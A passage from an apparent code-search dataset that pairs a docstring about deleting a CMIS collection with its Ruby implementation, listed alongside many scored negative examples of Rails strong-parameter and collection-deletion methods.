params.require(:education).permit(param_whitelist)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def allow_params_authentication!; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "def quote_params\n params.permit!\n end", "def list_params\n params.permit(:list_name)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def all_params; end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "def user_params\n end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def permitted_params\n @wfd_edit_parameters\n end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def user_params\r\n end", "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def params_permit\n params.permit(:id)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def argument_params\n params.require(:argument).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def parameters\n nil\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end" ]
[ "0.71207976", "0.705222", "0.69488335", "0.69021654", "0.67362636", "0.6717561", "0.6689192", "0.6678948", "0.66622657", "0.6555007", "0.6527569", "0.64588845", "0.64522904", "0.6450812", "0.6448551", "0.6434285", "0.6412147", "0.6412147", "0.6393719", "0.6381976", "0.6381976", "0.6375729", "0.63612986", "0.6355188", "0.6285782", "0.6281054", "0.62458795", "0.62301606", "0.6224915", "0.622486", "0.6210121", "0.62075305", "0.61789036", "0.6172226", "0.6168105", "0.6160074", "0.61448", "0.61348766", "0.61225486", "0.6110136", "0.60996324", "0.6078064", "0.6052116", "0.6041118", "0.6035623", "0.60318893", "0.602124", "0.6020888", "0.6020888", "0.6020888", "0.6020888", "0.6020888", "0.6020888", "0.6020888", "0.6020888", "0.6020888", "0.6020888", "0.6020888", "0.6020888", "0.6020888", "0.6020888", "0.6020888", "0.6020888", "0.6020888", "0.6016033", "0.60159355", "0.6007089", "0.6005682", "0.60034984", "0.59973234", "0.59967214", "0.5996135", "0.5985281", "0.59851986", "0.59779865", "0.5973843", "0.59714854", "0.5966646", "0.59659743", "0.59659743", "0.5957345", "0.5952455", "0.59514904", "0.59479517", "0.59451497", "0.5932892", "0.59316385", "0.5929465", "0.59269744", "0.5920278", "0.5917984", "0.59153455", "0.5913883", "0.5908388", "0.5907796", "0.590644", "0.5900998", "0.5898838", "0.5898161", "0.58975124", "0.5895988" ]
0.0
-1
Gets all object and returns last
def last at(-1) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def last\n all.last\n end", "def last\n all.last\n end", "def last\n all.last\n end", "def last\n all.last\n end", "def last\n all.last\n end", "def last\n all.last\n end", "def last\n all.last\n end", "def last\n all.last\n end", "def last\n self.all.last\n end", "def last\n find(:first, :conditions => {}, :sort => [[:_id, :asc]])\n end", "def last\n return each\n end", "def last\n return sync { @last }\n end", "def last\n model.last\n end", "def first; self.objects.first end", "def last\n result ? all.last : limit(1).descending.all.last\n end", "def last\n\t\t\t@last\n\t\tend", "def last\r\n\t\[email protected]\r\n\tend", "def get_last\n return nil if @head.nil?\n return get_last_helper(@head)\n end", "def current\n all.last\n end", "def last\n all[all.size - 1]\n end", "def last\n to_a.last\n end", "def last\n order(:id).reverse.limit(1)\n end", "def last() end", "def object\n @resources.last\n end", "def last\n return [] unless @init\n @init.last\n end", "def last\n @enumerable.last\n end", "def last\n end", "def last\n items.compact.last\n end", "def last\r\n self[-1]\r\n end", "def last\n list.first\n end", "def last\n list = self\n list = list.tail until list.tail.empty?\n list.head\n end", "def get_last\r\n return nil unless @head\r\n cursor = @head\r\n while cursor.next\r\n cursor = cursor.next\r\n end\r\n return cursor.data\r\n end", "def last\n @items.last\n end", "def latest\n self\n end", "def last\n out = nil\n\n each {|i| out = i }\n\n out\n end", "def last; end", "def last; end", "def last; end", "def last\n self[-1]\n end", "def last(*args)\n all.send(:last, *args)\n end", "def last\n self.invert_order.all.first\n end", "def get_last\r\n return unless @head\r\n \r\n last = @head\r\n last = last.next until last.next.nil?\r\n last.data\r\n end", "def last\n asc(:id).last\n end", "def last\n\t\[email protected]\n\tend", "def last\n @adapter.last(collection)\n end", "def get_last\n raise NotImplementedError, \"Please implement get_last\"\n end", "def getLatest()\n return Gesellschafter.get(self.Mnr)\n end", "def latest\n first_one(&:latest)\n end", "def last\n self[-1]\n end", "def last!\n last or raise RecordNotFound\n end", "def last(amount)\n objects = all.last(amount || 1)\n amount.nil? ? objects.first : objects\n end", "def last(repo)\n find(repo)\n end", "def last(options={})\r\n find(:last, options)\r\n end", "def last\n @history.last\n end", "def last\n @locations.last\n end", "def last\n self.slice(self.size - 1)\n end", "def last\n @children.last\n end", "def last(*args)\n find(:last, *args)\n end", "def last(&block)\n use_device(all.last, &block)\n end", "def last!\n last || raise_record_not_found_exception!\n end", "def object\n first.object\n end", "def object\n first.object\n end", "def get_last\n return nil if @head.nil?\n current = @head\n until current.next.nil?\n current = current.next\n end\n return current.data\n end", "def last\n opts = process_options\n sorting = opts[:sort]\n sorting = [[:_id, :asc]] unless sorting\n opts[:sort] = sorting.collect { |option| [ option[0], option[1].invert ] }\n attributes = klass.collection.find_one(selector, opts)\n attributes ? Mongoid::Factory.from_db(klass, attributes) : nil\n end", "def last(*args)\n find(:last, *args)\n end", "def last(*args)\n find(:last, *args)\n end", "def get_last\n return @tail ? @tail.data : nil\n end", "def get_last\n return nil if @head.nil?\n\n current = @head\n\n until current.next.nil?\n current = current.next\n end\n\n return current.data\n end", "def get_last\n return nil if @head.nil? \n pointer = @head\n\n until pointer.next.nil?\n pointer = pointer.next\n end\n return pointer.data\n end", "def last\n @values.last\n end", "def first\n all.first\n end", "def last_retrieved\n unless self.cache_object.nil?\n @last_retrieved = self.cache_object.last_retrieved\n end\n return @last_retrieved\n end", "def last\n graph.first_object(subject: last_subject, predicate: RDF.first)\n end", "def get_last\n return if @head == nil\n\n current = @head\n\n until current.next.nil?\n current = current.next\n end\n\n return current.data\n end", "def first\n all.first\n end", "def first\n all.first\n end", "def first\n all.first\n end", "def first\n all.first\n end", "def last\n\t\[email protected] if [email protected]?\n\tend", "def get_last\n # return nil unless @head\n if @head == nil\n return nil\n end\n current = @head\n while !current.next.nil?\n current = current.next\n end\n \n return current.data\n end", "def last(limit=1)\n limit(limit).reverse_order.load.first\n end", "def the_last\n if @cdr.kind_of? Cons\n return @cdr.last\n else\n return self\n end\n end", "def first\n all.first\n end", "def first\n all.first\n end", "def first\n all.first\n end", "def getLatest()\n return Foerdermitglied.get(self.Pnr)\n end", "def getLatest()\r\n return OzbKonto.get(self.KtoNr)\r\n end", "def last(options={})\n get(\"last\", options)\n end", "def get_last\n return nil unless @head\n current = @head\n\n while current.next\n current = current.next\n end\n\n return current.data\n end", "def last\n @tail\n end", "def last(num = nil)\n return @all.last num if num\n @all.last\n end", "def get_head\n @data.last\n end", "def get_head\n @data.last\n end", "def latest\n return self.transactions.first(:order => [:date.desc])\n end", "def get_last\n return nil if @head.nil? \n pointer = @head \n while !pointer.next.nil?\n pointer = pointer.next\n end\n return pointer.data\n end", "def first\n self.all.first\n end", "def get_last_entry\n @entry = FeedEntry.find(:first, :conditions => {:person_id => self.id})\n end", "def get_last\n return nil if !@head\n current = @head\n while current.next\n current = current.next\n end\n return current.data\n end", "def last_upload\n @last_upload ||= uploads.find(:first)\n end", "def last\n self.class.where(id: rid).chronological.last\n end" ]
[ "0.7742263", "0.77077436", "0.77077436", "0.77077436", "0.77077436", "0.7658207", "0.7658207", "0.76342636", "0.7519564", "0.72524667", "0.71823895", "0.7155352", "0.7139403", "0.7132748", "0.7112843", "0.7035971", "0.7006488", "0.69360626", "0.6895617", "0.68773586", "0.6868143", "0.68549526", "0.6840643", "0.68326753", "0.6828903", "0.68010575", "0.67672783", "0.6731925", "0.67159307", "0.6703339", "0.67030483", "0.67000103", "0.6699839", "0.6695657", "0.66613597", "0.66561466", "0.66561466", "0.66561466", "0.665363", "0.6651116", "0.663545", "0.6624562", "0.6599225", "0.6598799", "0.65910816", "0.65616596", "0.6559534", "0.65160507", "0.6515576", "0.6513212", "0.65097797", "0.6474159", "0.6451074", "0.64347273", "0.6432224", "0.64225054", "0.64146054", "0.6403324", "0.6357984", "0.6333312", "0.6331251", "0.6309675", "0.6307365", "0.6305797", "0.6304203", "0.6304203", "0.6297801", "0.6296763", "0.62917346", "0.62855345", "0.6284237", "0.6262898", "0.62537885", "0.6245019", "0.6238052", "0.6238052", "0.6238052", "0.6238052", "0.623748", "0.6220658", "0.62183535", "0.6210647", "0.6208896", "0.6208896", "0.6208896", "0.62002724", "0.620005", "0.61964935", "0.61923146", "0.61887723", "0.61882544", "0.61772335", "0.61772335", "0.616842", "0.61550987", "0.61303633", "0.61215043", "0.6120989", "0.61057156", "0.6104294" ]
0.63766795
58
Attempts to delete the collection. This may not work on every collection, ActiveCMIS does not (yet) try to check this client side. For folder collections 2 options are available, again no client side checking is done to see whether the collection can handle these options
def destroy(options = {}) if options.empty? conn.delete(@url) else unfileObjects = options.delete(:unfileObjects) continueOnFailure = options.delete(:continueOnFailure) raise ArgumentError("Unknown parameters #{options.keys.join(', ')}") unless options.empty? # XXX: have less cumbersome code, more generic and more efficient code new_url = @url new_url = Internal::Utils.append_parameters(new_url, :unfileObjects => unfileObjects) unless unfileObjects.nil? new_url = Internal::Utils.append_parameters(new_url, :continueOnFailure => continueOnFailure) unless continueOnFailure.nil? # TODO: check that we can handle 200,202,204 responses correctly conn.delete(@url) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n response = connection.delete(\"/collections/#{id}\")\n (200..299).include?(response.status)\n end", "def destroy\n authorize! :destroy, @collection\n\n @collection.destroy\n respond_to do |format|\n format.html { redirect_to admin_collections_url, notice: \"Collection '#{@collection.title}' was successfully deleted.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @collection.destroy\n respond_to do |format|\n format.html { redirect_to account_collections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @collection = @current_user.collections.find(params[:id])\n @collection.destroy\n\n respond_to do |format|\n format.html { redirect_to user_collections_path,\n \t\t notice: 'Collection sucessfully deleted.' }\n format.json { head :no_content }\n end\n end", "def delete(collection)\n return 0 unless collection.query.valid?\n adapter.delete(collection)\n end", "def delete_collection(db, coll_name)\n if db.collection('__METADATA__').find_one('_id' => coll_name) == nil\n raise \"collection does not exist\"\n end\n\n db.collection(coll_name).drop\n db.collection_names.keep_if {|c| c.start_with? coll_name+'__'}.each {|related_collection| db.collection(related_collection).drop}\n\n db.collection('__METADATA__').remove('_id' => coll_name)\n end", "def destroy\n @collection.destroy\n \n respond_to do |format|\n format.html { redirect_to(collections_mine_url) }\n format.xml { head :ok }\n end\n end", "def delete_collection\n FileUtils.rm_r @src_path\n FileUtils.rm_r @store_path if store_exist?\n end", "def destroy\n begin\n @collection = baseCollections.find(params[:collection_id]) \n rescue ActiveRecord::RecordNotFound\n redirect_to collections_url, :alert => \"Not exist collection or you are not allowed to see.\"\n return\n end\n @document = @collection.documents.find_by_id(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to @collection, notice: 'Document was successfully removed.'}\n format.json { head :no_content }\n end\n end", "def destroy\n @collection = Collection.find(params[:id])\n \n #destroy all child documents\n @collection.documents.each do |d|\n upload_remove(d) #Removes upload record if file is deleted\n d.destroy\n end\n \n #destroy all child collections\n @collection.collections.each do |c|\n collection_recursive_destroy(c)\n end\n \n @collection.destroy\n\n respond_to do |format|\n format.html { redirect_to collections_url }\n format.json { head :ok }\n end\n end", "def delete(collection)\n raise NotImplementedError, \"#{self.class}#delete not implemented\"\n end", "def delete\n# if stat.directory?\n# FileUtils.rm_rf(file_path)\n# else\n# File.unlink(file_path)\n# end\n if collection?\n @collection.find({:filename => /^#{Regexp.escape(@bson['filename'])}/}).each do |bson|\n @collection.remove(bson)\n end\n else\n @collection.remove(@bson)\n end\n NoContent\n end", "def destroy\n @collection.destroy\n end", "def destroy\n @collection.destroy\n respond_to do |format|\n format.html { redirect_to collections_url, notice: 'The collection was successfully removed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\n DataField.destroy_all :data_collection_id => @data_collection.id\n\n if not @data_collection.collection_name.nil?\n mongo_collection = MongoConnection.instance.get_collection @data_collection.collection_name\n mongo_collection.drop\n end\n\n @data_collection.destroy\n\n respond_to do |format|\n format.html { redirect_to data_collections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @collection = Collection.find(params[:id])\n @collection.destroy\n\n respond_to do |format|\n format.html { redirect_to(collections_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @collection.destroy\n respond_to do |format|\n format.html { redirect_to :delete, flash: { message: 'Collection was successfully deleted.' } }\n format.json { head :no_content }\n end\n end", "def on_collection_deleted(event)\n return unless resource?(event.payload[:collection])\n Hyrax.index_adapter.delete(resource: event[:collection])\n end", "def delete_decision(custom, collection)\r\n clear\r\n custom_banner\r\n puts\r\n options = []\r\n options.push(\r\n # Comfirm the decision again!\r\n { name: 'Yes!!! I want to delete it so bad!!!!', value: lambda {\r\n conduct_deletion(custom, collection)\r\n } },\r\n # This option provide access to go back if user pull back\r\n { name: 'All right. I want to keep it there now', value: lambda {\r\n display_delete_collections\r\n } }\r\n )\r\n option = @prompt.select(\r\n 'The collection will be delete permanently!!! Think carefully before you act.'.colorize(:blue).colorize(background: :red), options, help: \"(Select with pressing ↑/↓ arrow keys, and then pressing Enter)\\n\\n\\n\", show_help: :always\r\n )\r\n end", "def on_collection_deleted(event)\n return unless event.payload.key?(:collection) # legacy callback\n return if event[:collection].is_a?(ActiveFedora::Base) # handled by legacy code\n\n Hyrax.custom_queries.find_members_of(collection: event[:collection]).each do |resource|\n resource.member_of_collection_ids -= [event[:collection].id]\n Hyrax.persister.save(resource: resource)\n Hyrax.publisher\n .publish('collection.membership.updated', collection: event[:collection], user: event[:user])\n rescue StandardError\n Hyrax.logger.warn \"Failed to remove collection reference from #{work.class}:#{work.id} \" \\\n \"during cleanup for collection: #{event[:collection]}. \"\n end\n end", "def destroy\n @collection = Collection.find(params[:id])\n @collection.destroy\n redirect_to collections_path\n\n end", "def destroy\n @category_collection = CategoryCollection.find(params[:id])\n @collection = @category_collection.collection\n @category_collection.destroy\n\n respond_to do |format|\n format.html { redirect_to(@collection) }\n format.xml { head :ok }\n end\n end", "def destroy\n authorize! :destroy, params[:id]\n @collection = Collection.find(params[:id])\n if @collection.nyucores.size == 0\n @collection.destroy\n msg = 'Collection was successfully deleted.'\n else\n msg = 'Collection has associated records and can not be deleted'\n end\n flash[:notice] = msg\n redirect_to collections_url\n end", "def destroy\n @collection = Collection.find(params[:id])\n @collection.destroy\n\n respond_to do |format|\n format.html { redirect_to collections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @collection = Collection.find(params[:id])\n @collection.destroy\n\n respond_to do |format|\n format.html { redirect_to collections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @collection = Collection.find(params[:id])\n @collection.destroy\n\n respond_to do |format|\n format.html { redirect_to collections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @collection = Collection.find(params[:id])\n @collection.destroy\n\n respond_to do |format|\n format.html { redirect_to collections_url }\n format.json { head :no_content }\n end\n end", "def delete\n if ! @collection.delete?(@user, @client)\n render_json :status => :forbidden and return\n end\n @collection.destroy\n render_json :entry => @collection.to_hash(@user, @client)\n end", "def destroy\n @collection = Collection.find(params[:id])\n @collection.destroy\n\n respond_to do |format|\n format.html { redirect_to collections_url }\n format.json { head :ok }\n end\n end", "def delete\n @collection = Collection.find(params[:id])\n @collection.destroy\n redirect_to action: \"index\"\n end", "def destroy\n @sub_collection.destroy\n respond_to do |format|\n format.html { redirect_to sub_collections_url, notice: 'Sub collection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def conduct_deletion(custom, collection)\r\n clear\r\n custom_banner\r\n puts\r\n # Perform reject method on the custom array and save the new array\r\n new_array = custom['Custom'].reject { |e| e == collection }\r\n custom['Custom'] = new_array\r\n\r\n # Apply helper method\r\n if new_array.empty?\r\n save_custom_file(custom)\r\n puts 'Successfully detele the collection!'\r\n elsif (1..new_array.size).each do |i|\r\n custom['Custom'][i - 1]['Custom_Id'] = i\r\n end\r\n save_custom_file(custom)\r\n puts 'Successfully detele the collection!'\r\n end\r\n\r\n # Provide access to go back\r\n options = []\r\n options.push({ name: 'Back', value: lambda {\r\n display_delete_collections\r\n } })\r\n option = @prompt.select('Go back to upper menu', options,\r\n help: \"(Select with pressing ↑/↓ arrow keys, and then pressing Enter)\\n\\n\\n\", show_help: :always, per_page: 15)\r\n end", "def destroy\n @glo_collection.destroy\n respond_to do |format|\n format.html { redirect_to glo_collections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @fine_collection.destroy\n respond_to do |format|\n format.html { redirect_to fine_collections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @root_collection.destroy\n respond_to do |format|\n format.html { redirect_to root_collections_url, notice: 'Root collection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @collection.destroy\n respond_to do |format|\n format.html { redirect_to collections_url, notice: 'Collection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @collection.destroy\n respond_to do |format|\n format.html { redirect_to collections_url, notice: 'Collection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @collection.destroy\n respond_to do |format|\n format.html { redirect_to collections_url, notice: 'Collection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @shared_collection.destroy\n respond_to do |format|\n format.html { redirect_to shared_collections_url, notice: 'Shared collection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if session[:user] != nil\n @current_user = User.find_by username: session[:user]\n if @collection.owner.id == @current_user.id or @collection.user_ids.include? @current_user.id\n @collection.destroy\n respond_to do |format|\n format.html { redirect_to collections_url, success: 'Collection was successfully destroyed.' }\n format.json { render :show, status: :created, location: @collection }\n end\n else\n respond_to do |format|\n format.html { redirect_to root_path, alert: \"You don't have permission to delete this collection.\" }\n format.json { render :show, status: :created, location: @collection }\n end\n end \n else\n respond_to do |format|\n format.html { redirect_to root_path, alert: \"You are not registered\" }\n format.json { render :show, status: :created, location: @collection }\n end\n end\n end", "def destroy\n @user_collection.destroy\n respond_to do |format|\n format.html { redirect_to user_collections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @collection = Collection.find(params[:id])\n\n Product.delete_all(:collection_id => @collection.id)\n\n save_activity(@collection, \"deleted collection\")\n \n @collection.destroy\n\n respond_to do |format|\n format.html { redirect_to(dashboard_path) }\n format.xml { head :ok }\n end\n end", "def deleteCollection _args\n \"deleteCollection _args;\" \n end", "def destroy\n @resume_collection.destroy\n respond_to do |format|\n format.html { redirect_to resume_collections_url }\n format.json { head :no_content }\n end\n end", "def delete_collection(database_id:, collection_id:)\n path = '/databases/{databaseId}/collections/{collectionId}'\n .gsub('{databaseId}', database_id)\n .gsub('{collectionId}', collection_id)\n\n if database_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"databaseId\"')\n end\n\n if collection_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"collectionId\"')\n end\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'DELETE',\n path: path,\n headers: headers,\n params: params,\n )\n end", "def destroy\n @collection = @institution.collections.find(params[:id])\n @collection.destroy\n\n respond_to do |format|\n format.html { redirect_to institution_collections_url(@institution) }\n format.json { head :no_content }\n end\n end", "def delete(collection, doc)\n db = @mongo[collection]\n\n id = subs[key].id\n db[key].delete\n\n self.send({\n msg: 'removed',\n collection: collection,\n id: id\n })\n\n end", "def destroy\n gallery = @collection.gallery_id\n if @collection.destroy\n message = \"Collection destroyed successfully\"\n else\n message = \"Collection could not be destroyed because it has images in it\"\n end\n\n respond_to do |format|\n format.html { redirect_to gallery_collections_path(gallery), notice: message }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n collection = Collection.find(@document.collection_id)\n upload_remove(@document) #Removes upload record if file is deleted\n @document.destroy\n\n respond_to do |format|\n #format.html { redirect_to collections_path }\n format.html { redirect_to collection }\n format.json { head :ok }\n end\n end", "def clear_collections(fs)\n fs.files_collection.delete_many\n fs.files_collection.indexes.drop_all rescue nil\n fs.chunks_collection.delete_many\n fs.chunks_collection.indexes.drop_all rescue nil\n #@operation.clear_collections(fs)\n end", "def destroy\n @data_collection = DataCollection.find(params[:id])\n @data_collection.destroy\n\n respond_to do |format|\n format.html { redirect_to data_collections_url }\n format.json { head :no_content }\n end\n end", "def display_delete_collections\r\n clear\r\n custom_banner\r\n puts\r\n options = []\r\n # Try to read the collection object and if error arise prompt user to add collecction feature\r\n begin custom = @custom.custom_load\r\n if custom['Custom'].size > 0\r\n custom['Custom'].each do |e|\r\n options.push({ name: \"Custom:#{e['Custom_Name']}\", value: lambda {\r\n delete_decision(custom, e)\r\n } })\r\n end\r\n else\r\n puts 'Sorry,the content is empty.'\r\n end\r\n rescue JSON::ParserError, NoMethodError, NoMemoryError, StandardError\r\n puts \"It seems the custom content is empty. Please move to custom menu to add a new custom collection.\\n\\n\\n\"\r\n end\r\n options.push({ name: 'Back', value: lambda {\r\n custom_collection\r\n } })\r\n option = @prompt.select(\r\n \"Please select one custom collection you want to delete. If you don't want to delete any thing, just select 'Back'.\", options, help: \"(Select with pressing ↑/↓ arrow keys, and then pressing Enter)\\n\\n\\n\", show_help: :always, per_page: 15\r\n )\r\n end", "def destroy\n @item_collection.destroy\n respond_to do |format|\n format.html { redirect_to item_collections_url, notice: 'La collection a été détruite' }\n format.json { head :no_content }\n end\n end", "def destroy\n @collection_type = CollectionType.find(params[:id])\n @collection_type.destroy\n\n respond_to do |format|\n format.html { redirect_to collection_types_url }\n format.json { head :no_content }\n end\n end", "def delete_child_collection(name)\r\n #Delete collection = delete all documents in it and than delete field in envId:collections key\r\n coll_id = nil\r\n begin\r\n coll_id = get_child_collection_id(name)\r\n rescue Transformer::MappingException => ex\r\n ex.message\r\n return\r\n end\r\n collection = RedXmlApi::Collection.new(@env_id, coll_id)\r\n collection.delete_all_documents\r\n collection.delete_all_child_collections\r\n @db_interface.delete_from_hash @certain_coll_key, [name]\r\n #We have to delete all keys of collection, e.g. <info, <documents, <collections\r\n del_keys = [Transformer::KeyBuilder.collection_info(@env_id, coll_id), Transformer::KeyBuilder.documents_key(@env_id, coll_id), Transformer::KeyBuilder.child_collections_key(@env_id, coll_id)]\r\n @db_interface.delete_keys del_keys\r\n end", "def delete_collection_with_http_info(collection_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CollectionsApi.delete_collection ...'\n end\n # verify the required parameter 'collection_id' is set\n if @api_client.config.client_side_validation && collection_id.nil?\n fail ArgumentError, \"Missing the required parameter 'collection_id' when calling CollectionsApi.delete_collection\"\n end\n # resource path\n local_var_path = '/v4/collections/{collection_id}'.sub('{' + 'collection_id' + '}', CGI.escape(collection_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'Object'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['BasicAuth']\n\n new_options = opts.merge(\n :operation => :\"CollectionsApi.delete_collection\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CollectionsApi#delete_collection\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def destroy \n @link = Link.find(params[:id]) \n @parent_collection = @link.collection #grabbing the parent collection before deleting the record \n @link.destroy \n \n #redirect to a relevant path depending on the parent collection \n if @parent_collection\n flash[:success] = \"link 